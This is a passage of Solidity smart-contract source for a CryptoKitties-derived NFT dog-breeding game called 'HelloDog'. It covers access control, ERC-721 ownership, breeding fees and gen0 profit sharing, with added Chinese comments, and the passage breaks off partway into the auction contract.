cfoAddress = _newCFO; } /// @dev Assigns a new address to act as the COO. Only available to the current CEO. /// @param _newCOO The address of the new COO function setCOO(address _newCOO) external onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Called by any "C-level" role to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() external onlyCLevel whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by the CEO, since /// one reason we may pause the contract is when CFO or COO accounts are /// compromised. /// @notice This is public rather than external so it can be called by /// derived contracts. function unpause() public onlyCEO whenPaused { // can&#39;t unpause if contract was upgraded paused = false; } } /// @title Base contract for Cryptodogs. Holds all common structs, events and base variables. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev See the KittyCore contract documentation to understand how the various contract facets are arranged. contract DogBase is DogAccessControl { /*** EVENTS ***/ /// @dev The Birth event is fired whenever a new kitten comes into existence. This obviously /// includes any time a cat is created through the giveBirth method, but it is also called /// when a new gen0 cat is created. event Birth(address owner, uint256 dogId, uint256 matronId, uint256 sireId, uint256 genes, uint16 generation, uint8 variation, uint256 gen0, uint256 birthTime, uint256 income, uint16 cooldownIndex); /// @dev Transfer event as defined in current draft of ERC721. Emitted every time a kitten /// ownership is assigned, including births. event Transfer(address from, address to, uint256 tokenId); /*** DATA TYPES ***/ /// @dev The main Dog struct. Every cat in Cryptodogs is represented by a copy /// of this structure, so great care was taken to ensure that it fits neatly into /// exactly two 256-bit words. Note that the order of the members in this structure /// is important because of the byte-packing rules used by Ethereum. /// Ref: http://solidity.readthedocs.io/en/develop/miscellaneous.html struct Dog { // The Dog&#39;s genetic code is packed into these 256-bits, the format is // sooper-sekret! A cat&#39;s genes never change. uint256 genes; // The timestamp from the block when this cat came into existence. uint256 birthTime; // The minimum timestamp after which this cat can engage in breeding // activities again. This same timestamp is used for the pregnancy // timer (for matrons) as well as the siring cooldown. uint64 cooldownEndBlock; // The ID of the parents of this Dog, set to 0 for gen0 cats. // Note that using 32-bit unsigned integers limits us to a "mere" // 4 billion cats. This number might seem small until you realize // that Ethereum currently has a limit of about 500 million // transactions per year! So, this definitely won&#39;t be a problem // for several years (even as Ethereum learns to scale). uint32 matronId; uint32 sireId; // Set to the ID of the sire cat for matrons that are pregnant, // zero otherwise. A non-zero value here is how we know a cat // is pregnant. Used to retrieve the genetic material for the new // kitten when the birth transpires. uint32 siringWithId; // Set to the index in the cooldown array (see below) that represents // the current cooldown duration for this Dog. This starts at zero // for gen0 cats, and is initialized to floor(generation/2) for others. // Incremented by one for each successful breeding action, regardless // of whether this cat is acting as matron or sire. uint16 cooldownIndex; // The "generation number" of this cat. Cats minted by the CK contract // for sale are called "gen0" and have a generation number of 0. The // generation number of all other cats is the larger of the two generation // numbers of their parents, plus one. // (i.e. max(matron.generation, sire.generation) + 1) uint16 generation; //zhangyong //变异系数 uint8 variation; //zhangyong //0代狗祖先 uint256 gen0; } /*** CONSTANTS ***/ /// @dev A lookup table indicating the cooldown duration after any successful /// breeding action, called "pregnancy time" for matrons and "siring cooldown" /// for sires. Designed such that the cooldown roughly doubles each time a cat /// is bred, encouraging owners not to just keep breeding the same cat over /// and over again. Caps out at one week (a cat can breed an unbounded number /// of times, and the maximum cooldown is always seven days). uint32[14] public cooldowns = [ uint32(1 minutes), uint32(2 minutes), uint32(5 minutes), uint32(10 minutes), uint32(30 minutes), uint32(1 hours), uint32(2 hours), uint32(4 hours), uint32(8 hours), uint32(16 hours), uint32(24 hours), uint32(2 days), uint32(3 days), uint32(5 days) ]; // An approximation of currently how many seconds are in between blocks. uint256 public secondsPerBlock = 15; /*** STORAGE ***/ /// @dev An array containing the Dog struct for all dogs in existence. The ID /// of each cat is actually an index into this array. Note that ID 0 is a negacat, /// the unKitty, the mythical beast that is the parent of all gen0 cats. A bizarre /// creature that is both matron and sire... to itself! Has an invalid genetic code. /// In other words, cat ID 0 is invalid... ;-) Dog[] dogs; /// @dev A mapping from cat IDs to the address that owns them. All cats have /// some valid owner address, even gen0 cats are created with a non-zero owner. mapping (uint256 => address) dogIndexToOwner; // @dev A mapping from owner address to count of tokens that address owns. // Used internally inside balanceOf() to resolve ownership count. mapping (address => uint256) ownershipTokenCount; /// @dev A mapping from KittyIDs to an address that has been approved to call /// transferFrom(). Each Dog can only have one approved address for transfer /// at any time. A zero value means no approval is outstanding. mapping (uint256 => address) public dogIndexToApproved; /// @dev A mapping from KittyIDs to an address that has been approved to use /// this Dog for siring via breedWith(). Each Dog can only have one approved /// address for siring at any time. A zero value means no approval is outstanding. mapping (uint256 => address) public sireAllowedToAddress; /// @dev The address of the ClockAuction contract that handles sales of dogs. This /// same contract handles both peer-to-peer sales as well as the gen0 sales which are /// initiated every 15 minutes. SaleClockAuction public saleAuction; /// @dev The address of a custom ClockAuction subclassed contract that handles siring /// auctions. Needs to be separate from saleAuction because the actions taken on success /// after a sales and siring auction are quite different. SiringClockAuction public siringAuction; uint256 public autoBirthFee = 5000 szabo; //zhangyong //0代狗获取的繁殖收益 uint256 public gen0Profit = 500 szabo; //zhangyong //0代狗获取繁殖收益的系数,可以动态调整,取值范围0到100 function setGen0Profit(uint256 _value) public onlyCOO{ uint256 ration = _value * 100 / autoBirthFee; require(ration > 0); require(_value <= 100); gen0Profit = _value; } /// @dev Assigns ownership of a specific Dog to an address. function _transfer(address _from, address _to, uint256 _tokenId) internal { // Since the number of kittens is capped to 2^32 we can&#39;t overflow this ownershipTokenCount[_to]++; // transfer ownership dogIndexToOwner[_tokenId] = _to; // When creating new kittens _from is 0x0, but we can&#39;t account that address. if (_from != address(0)) { ownershipTokenCount[_from]--; // once the kitten is transferred also clear sire allowances delete sireAllowedToAddress[_tokenId]; // clear any previously approved ownership exchange delete dogIndexToApproved[_tokenId]; } // Emit the transfer event. Transfer(_from, _to, _tokenId); } /// @dev An internal method that creates a new Dog and stores it. This /// method doesn&#39;t do any checking and should only be called when the /// input data is known to be valid. Will generate both a Birth event /// and a Transfer event. /// @param _matronId The Dog ID of the matron of this cat (zero for gen0) /// @param _sireId The Dog ID of the sire of this cat (zero for gen0) /// @param _generation The generation number of this cat, must be computed by caller. /// @param _genes The Dog&#39;s genetic code. /// @param _owner The inital owner of this cat, must be non-zero (except for the unKitty, ID 0) //zhangyong //增加变异系数与0代狗祖先作为参数 function _createDog( uint256 _matronId, uint256 _sireId, uint256 _generation, uint256 _genes, address _owner, uint8 _variation, uint256 _gen0, bool _isGen0Siring ) internal returns (uint) { // These requires are not strictly necessary, our calling code should make // sure that these conditions are never broken. However! _createDog() is already // an expensive call (for storage), and it doesn&#39;t hurt to be especially careful // to ensure our data structures are always valid. require(_matronId == uint256(uint32(_matronId))); require(_sireId == uint256(uint32(_sireId))); require(_generation == uint256(uint16(_generation))); // New Dog starts with the same cooldown as parent gen/2 uint16 cooldownIndex = uint16(_generation / 2); if (cooldownIndex > 13) { cooldownIndex = 13; } Dog memory _dog = Dog({ genes: _genes, birthTime: block.number, cooldownEndBlock: 0, matronId: uint32(_matronId), sireId: uint32(_sireId), siringWithId: 0, cooldownIndex: cooldownIndex, generation: uint16(_generation), variation : uint8(_variation), gen0 : _gen0 }); uint256 newDogId = dogs.push(_dog) - 1; // It&#39;s probably never going to happen, 4 billion cats is A LOT, but // let&#39;s just be 100% sure we never let this happen. // require(newDogId == uint256(uint32(newDogId))); require(newDogId < 23887872); // emit the birth event Birth( _owner, newDogId, uint256(_dog.matronId), uint256(_dog.sireId), _dog.genes, uint16(_generation), _variation, _gen0, block.number, _isGen0Siring ? 0 : gen0Profit, cooldownIndex ); // This will assign ownership, and also emit the Transfer event as // per ERC721 draft _transfer(0, _owner, newDogId); return newDogId; } // Any C-level can fix how many seconds per blocks are currently observed. function setSecondsPerBlock(uint256 secs) external onlyCLevel { require(secs < cooldowns[0]); secondsPerBlock = secs; } } /// @title The external contract that is responsible for generating metadata for the dogs, /// it has one function that will return the data as bytes. // contract ERC721Metadata { // /// @dev Given a token Id, returns a byte array that is supposed to be converted into string. // function getMetadata(uint256 _tokenId, string) public view returns (bytes32[4] buffer, uint256 count) { // if (_tokenId == 1) { // buffer[0] = "Hello World! :D"; // count = 15; // } else if (_tokenId == 2) { // buffer[0] = "I would definitely choose a medi"; // buffer[1] = "um length string."; // count = 49; // } else if (_tokenId == 3) { // buffer[0] = "Lorem ipsum dolor sit amet, mi e"; // buffer[1] = "st accumsan dapibus augue lorem,"; // buffer[2] = " tristique vestibulum id, libero"; // buffer[3] = " suscipit varius sapien aliquam."; // count = 128; // } // } // } /// @title The facet of the Cryptodogs core contract that manages ownership, ERC-721 (draft) compliant. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev Ref: https://github.com/ethereum/EIPs/issues/721 /// See the KittyCore contract documentation to understand how the various contract facets are arranged. contract DogOwnership is DogBase, ERC721 { /// @notice Name and symbol of the non fungible token, as defined in ERC721. string public constant name = "HelloDog"; string public constant symbol = "HD"; // The contract that will return Dog metadata // ERC721Metadata public erc721Metadata; bytes4 constant InterfaceSignature_ERC165 = bytes4(keccak256("supportsInterface(bytes4)")); bytes4 constant InterfaceSignature_ERC721 = bytes4(keccak256("name()")) ^ bytes4(keccak256("symbol()")) ^ bytes4(keccak256("totalSupply()")) ^ bytes4(keccak256("balanceOf(address)")) ^ bytes4(keccak256("ownerOf(uint256)")) ^ bytes4(keccak256("approve(address,uint256)")) ^ bytes4(keccak256("transfer(address,uint256)")) ^ bytes4(keccak256("transferFrom(address,address,uint256)")); // bytes4(keccak256("tokensOfOwner(address)")) ^ // bytes4(keccak256("tokenMetadata(uint256,string)")); /// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165). /// Returns true for any standardized interfaces implemented by this contract. We implement /// ERC-165 (obviously!) and ERC-721. function supportsInterface(bytes4 _interfaceID) external view returns (bool) { // DEBUG ONLY //require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d)); return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721)); } /// @dev Set the address of the sibling contract that tracks metadata. /// CEO only. // function setMetadataAddress(address _contractAddress) public onlyCEO { // erc721Metadata = ERC721Metadata(_contractAddress); // } // Internal utility functions: These functions all assume that their input arguments // are valid. We leave it to public methods to sanitize their inputs and follow // the required logic. /// @dev Checks if a given address is the current owner of a particular Dog. /// @param _claimant the address we are validating against. /// @param _tokenId kitten id, only valid when > 0 function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return dogIndexToOwner[_tokenId] == _claimant; } /// @dev Checks if a given address currently has transferApproval for a particular Dog. /// @param _claimant the address we are confirming kitten is approved for. /// @param _tokenId kitten id, only valid when > 0 function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) { return dogIndexToApproved[_tokenId] == _claimant; } /// @dev Marks an address as being approved for transferFrom(), overwriting any previous /// approval. Setting _approved to address(0) clears all transfer approval. /// NOTE: _approve() does NOT send the Approval event. This is intentional because /// _approve() and transferFrom() are used together for putting dogs on auction, and /// there is no value in spamming the log with Approval events in that case. function _approve(uint256 _tokenId, address _approved) internal { dogIndexToApproved[_tokenId] = _approved; } /// @notice Returns the number of dogs owned by a specific address. /// @param _owner The owner address to check. /// @dev Required for ERC-721 compliance function balanceOf(address _owner) public view returns (uint256 count) { return ownershipTokenCount[_owner]; } /// @notice Transfers a Dog to another address. If transferring to a smart /// contract be VERY CAREFUL to ensure that it is aware of ERC-721 (or /// Cryptodogs specifically) or your Dog may be lost forever. Seriously. /// @param _to The address of the recipient, can be a user or contract. /// @param _tokenId The ID of the Dog to transfer. /// @dev Required for ERC-721 compliance. function transfer( address _to, uint256 _tokenId ) external whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. // The contract should never own any dogs (except very briefly // after a gen0 cat is created and before it goes on auction). require(_to != address(this)); // Disallow transfers to the auction contracts to prevent accidental // misuse. Auction contracts should only take ownership of dogs // through the allow + transferFrom flow. require(_to != address(saleAuction)); require(_to != address(siringAuction)); // You can only send your own cat. require(_owns(msg.sender, _tokenId)); // Reassign ownership, clear pending approvals, emit Transfer event. _transfer(msg.sender, _to, _tokenId); } /// @notice Grant another address the right to transfer a specific Dog via /// transferFrom(). This is the preferred flow for transfering NFTs to contracts. /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the Dog that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function approve( address _to, uint256 _tokenId ) external whenNotPaused { // Only an owner can grant transfer approval. require(_owns(msg.sender, _tokenId)); // Register the approval (replacing any previous approval). _approve(_tokenId, _to); // Emit approval event. Approval(msg.sender, _to, _tokenId); } /// @notice Transfer a Dog owned by another address, for which the calling address /// has previously been granted transfer approval by the owner. /// @param _from The address that owns the Dog to be transfered. /// @param _to The address that should take ownership of the Dog. Can be any address, /// including the caller. /// @param _tokenId The ID of the Dog to be transferred. /// @dev Required for ERC-721 compliance. function transferFrom( address _from, address _to, uint256 _tokenId ) external whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. // The contract should never own any dogs (except very briefly // after a gen0 cat is created and before it goes on auction). require(_to != address(this)); // Check for approval and valid ownership require(_approvedFor(msg.sender, _tokenId)); require(_owns(_from, _tokenId)); // Reassign ownership (also clears pending approvals and emits Transfer event). _transfer(_from, _to, _tokenId); } /// @notice Returns the total number of dogs currently in existence. /// @dev Required for ERC-721 compliance. function totalSupply() public view returns (uint) { return dogs.length - 1; } /// @notice Returns the address currently assigned ownership of a given Dog. /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _tokenId) external view returns (address owner) { owner = dogIndexToOwner[_tokenId]; require(owner != address(0)); } /// @notice Returns a list of all Dog IDs assigned to an address. /// @param _owner The owner whose dogs we are interested in. /// @dev This method MUST NEVER be called by smart contract code. First, it&#39;s fairly /// expensive (it walks the entire Dog array looking for cats belonging to owner), /// but it also returns a dynamic array, which is only supported for web3 calls, and /// not contract-to-contract calls. // function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) { // uint256 tokenCount = balanceOf(_owner); // if (tokenCount == 0) { // // Return an empty array // return new uint256[](0); // } else { // uint256[] memory result = new uint256[](tokenCount); // uint256 totalCats = totalSupply(); // uint256 resultIndex = 0; // // We count on the fact that all cats have IDs starting at 1 and increasing // // sequentially up to the totalCat count. // uint256 catId; // for (catId = 1; catId <= totalCats; catId++) { // if (dogIndexToOwner[catId] == _owner) { // result[resultIndex] = catId; // resultIndex++; // } // } // return result; // } // } /// @dev Adapted from memcpy() by @arachnid (Nick Johnson <[email protected]>) /// This method is licenced under the Apache License. /// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol // function _memcpy(uint _dest, uint _src, uint _len) private view { // // Copy word-length chunks while possible // for(; _len >= 32; _len -= 32) { // assembly { // mstore(_dest, mload(_src)) // } // _dest += 32; // _src += 32; // } // // Copy remaining bytes // uint256 mask = 256 ** (32 - _len) - 1; // assembly { // let srcpart := and(mload(_src), not(mask)) // let destpart := and(mload(_dest), mask) // mstore(_dest, or(destpart, srcpart)) // } // } /// @dev Adapted from toString(slice) by @arachnid (Nick Johnson <[email protected]>) /// This method is licenced under the Apache License. /// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol // function _toString(bytes32[4] _rawBytes, uint256 _stringLength) private view returns (string) { // var outputString = new string(_stringLength); // uint256 outputPtr; // uint256 bytesPtr; // assembly { // outputPtr := add(outputString, 32) // bytesPtr := _rawBytes // } // _memcpy(outputPtr, bytesPtr, _stringLength); // return outputString; // } /// @notice Returns a URI pointing to a metadata package for this token conforming to /// ERC-721 (https://github.com/ethereum/EIPs/issues/721) /// @param _tokenId The ID number of the Dog whose metadata should be returned. // function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl) { // require(erc721Metadata != address(0)); // bytes32[4] memory buffer; // uint256 count; // (buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport); // return _toString(buffer, count); // } } /// @title A facet of KittyCore that manages Dog siring, gestation, and birth. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev See the KittyCore contract documentation to understand how the various contract facets are arranged. contract DogBreeding is DogOwnership { /// @dev The Pregnant event is fired when two cats successfully breed and the pregnancy /// timer begins for the matron. event Pregnant(address owner, uint256 matronId, uint256 sireId, uint256 matronCooldownEndBlock, uint256 sireCooldownEndBlock, uint256 matronCooldownIndex, uint256 sireCooldownIndex); /// @notice The minimum payment required to use breedWithAuto(). This fee goes towards /// the gas cost paid by whatever calls giveBirth(), and can be dynamically updated by /// the COO role as the gas price changes. // uint256 public autoBirthFee = 2 finney; // Keeps track of number of pregnant dogs. uint256 public pregnantDogs; /// @dev The address of the sibling contract that is used to implement the sooper-sekret /// genetic combination algorithm. GeneScienceInterface public geneScience; VariationInterface public variation; LotteryInterface public lottery; /// @dev Update the address of the genetic contract, can only be called by the CEO. /// @param _address An address of a GeneScience contract instance to be used from this point forward. function setGeneScienceAddress(address _address) external onlyCEO { GeneScienceInterface candidateContract = GeneScienceInterface(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isGeneScience()); // Set the new contract address geneScience = candidateContract; } /// @dev Checks that a given kitten is able to breed. Requires that the /// current cooldown is finished (for sires) and also checks that there is /// no pending pregnancy. function _isReadyToBreed(Dog _dog) internal view returns (bool) { // In addition to checking the cooldownEndBlock, we also need to check to see if // the cat has a pending birth; there can be some period of time between the end // of the pregnacy timer and the birth event. return (_dog.siringWithId == 0) && (_dog.cooldownEndBlock <= uint64(block.number)); } /// @dev Check if a sire has authorized breeding with this matron. True if both sire /// and matron have the same owner, or if the sire has given siring permission to /// the matron&#39;s owner (via approveSiring()). function _isSiringPermitted(uint256 _sireId, uint256 _matronId) internal view returns (bool) { address matronOwner = dogIndexToOwner[_matronId]; address sireOwner = dogIndexToOwner[_sireId]; // Siring is okay if they have same owner, or if the matron&#39;s owner was given // permission to breed with this sire. return (matronOwner == sireOwner || sireAllowedToAddress[_sireId] == matronOwner); } /// @dev Set the cooldownEndTime for the given Dog, based on its current cooldownIndex. /// Also increments the cooldownIndex (unless it has hit the cap). /// @param _dog A reference to the Dog in storage which needs its timer started. function _triggerCooldown(Dog storage _dog) internal { // Compute an estimation of the cooldown time in blocks (based on current cooldownIndex). _dog.cooldownEndBlock = uint64((cooldowns[_dog.cooldownIndex]/secondsPerBlock) + block.number); // Increment the breeding count, clamping it at 13, which is the length of the // cooldowns array. We could check the array size dynamically, but hard-coding // this as a constant saves gas. Yay, Solidity! if (_dog.cooldownIndex < 13) { _dog.cooldownIndex += 1; } } /// @notice Grants approval to another user to sire with one of your dogs. /// @param _addr The address that will be able to sire with your Dog. Set to /// address(0) to clear all siring approvals for this Dog. /// @param _sireId A Dog that you own that _addr will now be able to sire with. function approveSiring(address _addr, uint256 _sireId) external whenNotPaused { require(_owns(msg.sender, _sireId)); sireAllowedToAddress[_sireId] = _addr; } /// @dev Updates the minimum payment required for calling giveBirthAuto(). Can only /// be called by the COO address. (This fee is used to offset the gas cost incurred /// by the autobirth daemon). function setAutoBirthFee(uint256 val) external onlyCOO { require(val > 0); autoBirthFee = val; } /// @dev Checks to see if a given Dog is pregnant and (if so) if the gestation /// period has passed. function _isReadyToGiveBirth(Dog _matron) private view returns (bool) { return (_matron.siringWithId != 0) && (_matron.cooldownEndBlock <= uint64(block.number)); } /// @notice Checks that a given kitten is able to breed (i.e. it is not pregnant or /// in the middle of a siring cooldown). /// @param _dogId reference the id of the kitten, any user can inquire about it function isReadyToBreed(uint256 _dogId) public view returns (bool) { //zhangyong //创世狗有两只 require(_dogId > 1); Dog storage dog = dogs[_dogId]; return _isReadyToBreed(dog); } /// @dev Checks whether a Dog is currently pregnant. /// @param _dogId reference the id of the kitten, any user can inquire about it function isPregnant(uint256 _dogId) public view returns (bool) { // A Dog is pregnant if and only if this field is set return dogs[_dogId].siringWithId != 0; } /// @dev Internal check to see if a given sire and matron are a valid mating pair. DOES NOT /// check ownership permissions (that is up to the caller). /// @param _matron A reference to the Dog struct of the potential matron. /// @param _matronId The matron&#39;s ID. /// @param _sire A reference to the Dog struct of the potential sire. /// @param _sireId The sire&#39;s ID function _isValidMatingPair( Dog storage _matron, uint256 _matronId, Dog storage _sire, uint256 _sireId ) private view returns(bool) { // A Dog can&#39;t breed with itself! if (_matronId == _sireId) { return false; } // dogs can&#39;t breed with their parents. if (_matron.matronId == _sireId || _matron.sireId == _sireId) { return false; } if (_sire.matronId == _matronId || _sire.sireId == _matronId) { return false; } // We can short circuit the sibling check (below) if either cat is // gen zero (has a matron ID of zero). if (_sire.matronId == 0 || _matron.matronId == 0) { return true; } // dogs can&#39;t breed with full or half siblings. if (_sire.matronId == _matron.matronId || _sire.matronId == _matron.sireId) { return false; } if (_sire.sireId == _matron.matronId || _sire.sireId == _matron.sireId) { return false; } // Everything seems cool! Let&#39;s get DTF. return true; } /// @dev Internal check to see if a given sire and matron are a valid mating pair for /// breeding via auction (i.e. skips ownership and siring approval checks). function _canBreedWithViaAuction(uint256 _matronId, uint256 _sireId) internal view returns (bool) { Dog storage matron = dogs[_matronId]; Dog storage sire = dogs[_sireId]; return _isValidMatingPair(matron, _matronId, sire, _sireId); } // @notice Checks to see if two cats can breed together, including checks for // ownership and siring approvals. Does NOT check that both cats are ready for // breeding (i.e. breedWith could still fail until the cooldowns are finished). // TODO: Shouldn&#39;t this check pregnancy and cooldowns?!? // @param _matronId The ID of the proposed matron. // @param _sireId The ID of the proposed sire. // function canBreedWith(uint256 _matronId, uint256 _sireId) // external // view // returns(bool) // { // require(_matronId > 1); // require(_sireId > 1); // Dog storage matron = dogs[_matronId]; // Dog storage sire = dogs[_sireId]; // return _isValidMatingPair(matron, _matronId, sire, _sireId) && // _isSiringPermitted(_sireId, _matronId); // } /// @dev Internal utility function to initiate breeding, assumes that all breeding /// requirements have been checked. function _breedWith(uint256 _matronId, uint256 _sireId) internal { //zhangyong //创世狗不能繁殖 require(_matronId > 1); require(_sireId > 1); // Grab a reference to the dogs from storage. Dog storage sire = dogs[_sireId]; Dog storage matron = dogs[_matronId]; //zhangyong //变异狗不能繁殖 require(sire.variation == 0); require(matron.variation == 0); if (matron.generation > 0) { var(,,openBlock,,,,,,) = lottery.getCLottery(); if (matron.birthTime < openBlock) { require(lottery.checkLottery(matron.genes) == 100); } } // Mark the matron as pregnant, keeping track of who the sire is. matron.siringWithId = uint32(_sireId); // Trigger the cooldown for both parents. _triggerCooldown(sire); _triggerCooldown(matron); // Clear siring permission for both parents. This may not be strictly necessary // but it&#39;s likely to avoid confusion! delete sireAllowedToAddress[_matronId]; delete sireAllowedToAddress[_sireId]; // Every time a Dog gets pregnant, counter is incremented. pregnantDogs++; //zhangyong //只能由系统接生,接生费转给公司作为开发费用 cfoAddress.transfer(autoBirthFee); //zhangyong //如果母狗是0代狗,那么小狗的祖先就是母狗的ID,否则跟母狗的祖先相同 if (matron.generation > 0) { dogIndexToOwner[matron.gen0].transfer(gen0Profit); } // Emit the pregnancy event. Pregnant(dogIndexToOwner[_matronId], _matronId, _sireId, matron.cooldownEndBlock, sire.cooldownEndBlock, matron.cooldownIndex, sire.cooldownIndex); } /// @notice Breed a Dog you own (as matron) with a sire that you own, or for which you /// have previously been given Siring approval. Will either make your cat pregnant, or will /// fail entirely. Requires a pre-payment of the fee given out to the first caller of giveBirth() /// @param _matronId The ID of the Dog acting as matron (will end up pregnant if successful) /// @param _sireId The ID of the Dog acting as sire (will begin its siring cooldown if successful) function breedWithAuto(uint256 _matronId, uint256 _sireId) external payable whenNotPaused { // zhangyong // 如果不是0代狗繁殖,则多收0代狗的繁殖收益 uint256 totalFee = autoBirthFee; Dog storage matron = dogs[_matronId]; if (matron.generation > 0) { totalFee += gen0Profit; } // Checks for payment. require(msg.value >= totalFee); // Caller must own the matron. require(_owns(msg.sender, _matronId)); // Neither sire nor matron are allowed to be on auction during a normal // breeding operation, but we don&#39;t need to check that explicitly. // For matron: The caller of this function can&#39;t be the owner of the matron // because the owner of a Dog on auction is the auction house, and the // auction house will never call breedWith(). // For sire: Similarly, a sire on auction will be owned by the auction house // and the act of transferring ownership will have cleared any oustanding // siring approval. // Thus we don&#39;t need to spend gas explicitly checking to see if either cat // is on auction. // Check that matron and sire are both owned by caller, or that the sire // has given siring permission to caller (i.e. matron&#39;s owner). // Will fail for _sireId = 0 require(_isSiringPermitted(_sireId, _matronId)); // Grab a reference to the potential matron // Dog storage matron = dogs[_matronId]; // Make sure matron isn&#39;t pregnant, or in the middle of a siring cooldown require(_isReadyToBreed(matron)); // Grab a reference to the potential sire Dog storage sire = dogs[_sireId]; // Make sure sire isn&#39;t pregnant, or in the middle of a siring cooldown require(_isReadyToBreed(sire)); // Test that these cats are a valid mating pair. require(_isValidMatingPair(matron, _matronId, sire, _sireId)); // All checks passed, Dog gets pregnant! _breedWith(_matronId, _sireId); // zhangyong // 多余的费用返还给用户 uint256 breedExcess = msg.value - totalFee; if (breedExcess > 0) { msg.sender.transfer(breedExcess); } } /// @notice Have a pregnant Dog give birth! /// @param _matronId A Dog ready to give birth. /// @return The Dog ID of the new kitten. /// @dev Looks at a given Dog and, if pregnant and if the gestation period has passed, /// combines the genes of the two parents to create a new kitten. The new Dog is assigned /// to the current owner of the matron. Upon successful completion, both the matron and the /// new kitten will be ready to breed again. Note that anyone can call this function (if they /// are willing to pay the gas!), but the new kitten always goes to the mother&#39;s owner. //zhangyong //只能由系统接生,接生费转给公司作为开发费用,同时避免其他人帮助接生后,后台不知如何处理 function giveBirth(uint256 _matronId) external whenNotPaused returns(uint256) { // Grab a reference to the matron in storage. Dog storage matron = dogs[_matronId]; // Check that the matron is a valid cat. require(matron.birthTime != 0); // Check that the matron is pregnant, and that its time has come! require(_isReadyToGiveBirth(matron)); // Grab a reference to the sire in storage. uint256 sireId = matron.siringWithId; Dog storage sire = dogs[sireId]; // Determine the higher generation number of the two parents uint16 parentGen = matron.generation; if (sire.generation > matron.generation) { parentGen = sire.generation; } //zhangyong //如果母狗是0代狗,那么小狗的祖先就是母狗的ID,否则跟母狗的祖先相同 uint256 gen0 = matron.generation == 0 ? _matronId : matron.gen0; // Call the sooper-sekret gene mixing operation. uint256 childGenes = geneScience.mixGenes(matron.genes, sire.genes, matron.cooldownEndBlock - 1); // Make the new kitten! address owner = dogIndexToOwner[_matronId]; uint8 _variation = variation.createVariation(childGenes, dogs.length); bool isGen0Siring = matron.generation == 0; uint256 kittenId = _createDog(_matronId, matron.siringWithId, parentGen + 1, childGenes, owner, _variation, gen0, isGen0Siring); // Clear the reference to sire from the matron (REQUIRED! Having siringWithId // set is what marks a matron as being pregnant.) delete matron.siringWithId; // Every time a Dog gives birth counter is decremented. pregnantDogs--; // Send the balance fee to the person who made birth happen. if(_variation != 0){ variation.registerVariation(kittenId, owner); _transfer(owner, address(variation), kittenId); } // return the new kitten&#39;s ID return kittenId; } } /// @title Auction Core /// @dev Contains models, variables, and internal methods for the auction. /// @notice We omit a fallback function to prevent accidental sends to this contract. contract ClockAuctionBase { // Represents an auction on an NFT struct Auction { // Current owner of NFT address seller; // Price (in wei) at beginning of auction uint128 startingPrice; // Price (in wei) at end of auction uint128 endingPrice; // Duration (in seconds) of auction uint64 duration; // Time when auction started // NOTE: 0 if this auction has been concluded uint64 startedAt; } // Reference to contract tracking NFT ownership ERC721 public nonFungibleContract; // Cut owner takes on each auction, measured in basis points (1/100 of a percent). // Values 0-10,000 map to 0%-100% uint256 public ownerCut; // Map from token ID to their corresponding auction. mapping (uint256 => Auction) tokenIdToAuction; event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration); event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner); event AuctionCancelled(uint256 tokenId); /// @dev Returns true if the claimant owns the token. /// @param _claimant - Address claiming to own the token. /// @param _tokenId - ID of token whose ownership to verify. function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return (nonFungibleContract.ownerOf(_tokenId) == _claimant); } /// @dev Escrows the NFT, assigning ownership to this contract. /// Throws if the escrow fails. /// @param _owner - Current owner address of token to escrow. /// @param _tokenId - ID of token whose approval to verify. function _escrow(address _owner, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transferFrom(_owner, this, _tokenId); } /// @dev Transfers an NFT owned by this contract to another address. /// Returns true if the transfer succeeds. /// @param _receiver - Address to transfer NFT to. /// @param _tokenId - ID of token to transfer. function _transfer(address _receiver, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transfer(_receiver, _tokenId); } /// @dev Adds an auction to the list of open auctions. Also fires the /// AuctionCreated event. /// @param _tokenId The ID of the token to be put on auction. /// @param _auction Auction to add. function _addAuction(uint256 _tokenId, Auction _auction) internal { // Require that all auctions have a duration of // at least one minute. (Keeps our math from getting hairy!) require(_auction.duration >= 1 minutes); tokenIdToAuction[_tokenId] = _auction; AuctionCreated( uint256(_tokenId), uint256(_auction.startingPrice), uint256(_auction.endingPrice), uint256(_auction.duration) ); } /// @dev Cancels an auction unconditionally. function _cancelAuction(uint256 _tokenId, address _seller) internal { _removeAuction(_tokenId); _transfer(_seller, _tokenId); AuctionCancelled(_tokenId); } 